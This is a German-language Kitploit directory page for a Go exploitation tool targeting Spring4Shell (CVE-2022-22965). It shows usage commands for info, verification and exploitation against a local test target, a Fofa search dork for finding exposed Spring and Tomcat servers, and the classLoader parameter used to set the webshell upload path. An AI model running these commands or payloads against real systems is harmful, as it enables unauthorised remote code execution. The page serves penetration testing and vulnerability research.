Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-22965 — Spring4Shell (CVE-2022-22965) | Kitploit
Tools/GitHubGitHub/zer0yu/cve-2022-22965
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubzer0yu/cve-2022-22965

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Repository anzeigen
121vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-22965

Spring4Shell (CVE-2022-22965)

Verwendung

1. Informationen anzeigen

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "Ein nicht authentifizierter Angreifer kann diese Schwachstelle nutzen, um Remote-Code-Ausführung durchzuführen. Die Schwachstelle ist im Spring-Framework und abgeleiteten Frameworks weit verbreitet und betrifft JDK 9.0 und höher.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. Überprüfen

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. Exploit

root@kitploit:~
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

Möglicherweise muss der Datei-Upload-Pfad geändert werden; standardmäßig ist er "webapps/ROOT"

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

Haftungsausschluss

Dieses Verfahren dient nur der eigenen Sicherheitsüberprüfung. Bitte halten Sie sich bewusst an die örtlichen Gesetze.

Tool herunterladen